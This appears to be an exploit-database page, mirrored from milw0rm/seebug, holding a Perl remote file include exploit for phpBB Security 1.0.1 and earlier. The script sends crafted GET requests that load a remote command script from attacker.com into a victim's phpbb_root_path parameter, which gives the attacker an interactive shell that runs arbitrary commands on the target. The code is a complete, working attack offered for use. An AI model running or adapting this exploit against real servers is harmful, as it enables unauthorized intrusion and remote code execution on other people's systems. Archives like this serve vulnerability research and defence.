Lucene search
K

phpBB Security <= 1.0.1 (php_security.php) Remote File Include Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

phpBB Security 1.0.1 Remote File Include Vulnerabilit

Code

                                                #!/usr/bin/perl
 
#####################################################################################################
#                                                                                                   #
# phpBB Security  1.0.1                                                                             #
#                                                                                                   #
# Class:  Remote File Include Vulnerability                                                         #
# Date:   2006/10/12                                                                                #
#                                                                                                   #
# Remote: Yes                                                                                       #
#                                                                                                   #
# Type:   high                                                                                      #
#                                                                                                   #
# Site:   http://www.phpbb-amod.com/downloads/phpBB_Security.zip                                    #
#                                                                                                   #
#####################################################################################################


use IO::Socket;
use LWP::Simple;

$cmdshell=&#34;http://attacker.com/cmd.txt&#34;;   # &#60;====== Change This Line With Your Personal Script

print &#34;\n&#34;;
print &#34;##########################################################################\n&#34;;
print &#34;#                                                                        #\n&#34;;
print &#34;# phpBB Security  &#60;= 1.0.1           Remote File Include Vulnerability   #\n&#34;;
print &#34;# Bug found By : Ashiyane Corporation                                    #\n&#34;;
print &#34;# Email: nima salehi    nima[at]ashiyane.ir                              #\n&#34;;
print &#34;# Web Site : www.Ashiyane.ir                                             #\n&#34;;
print &#34;#                                                                        #\n&#34;;
print &#34;##########################################################################\n&#34;;


if (@ARGV &#60; 2)
{
    print &#34;\n Usage: Ashiyane.pl [host] [path] &#34;;
    print &#34;\n EX : Ashiyane.pl www.victim.com /path/  \n\n&#34;;
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];
$vul=&#34;phpbb_security.php?phpbb_root_path=&#34;

print &#34;Type Your Commands ( uname -a )\n&#34;;
print &#34;For Exiit Type END\n&#34;;

print &#34;&#60;Shell&#62; &#34;;$cmd = &#60;STDIN&#62;;

while($cmd !~ &#34;END&#34;) {
    $socket = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$host&#34;, PeerPort=&#62;&#34;80&#34;) or die &#34;Could not connect to host.\n\n&#34;;

    print $socket &#34;GET &#34;.$path.$vul.$cmdshell.&#34;?cmd=&#34;.$cmd.&#34;? HTTP/1.1\r\n&#34;;
    print $socket &#34;Host: &#34;.$host.&#34;\r\n&#34;;
    print $socket &#34;Accept: */*\r\n&#34;;
    print $socket &#34;Connection: close\r\n\n&#34;;

    while ($raspuns = &#60;$socket&#62;)
    {
        print $raspuns;
    }

    print &#34;&#60;Shell&#62; &#34;;
    $cmd = &#60;STDIN&#62;;
}

# milw0rm.com [2006-10-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation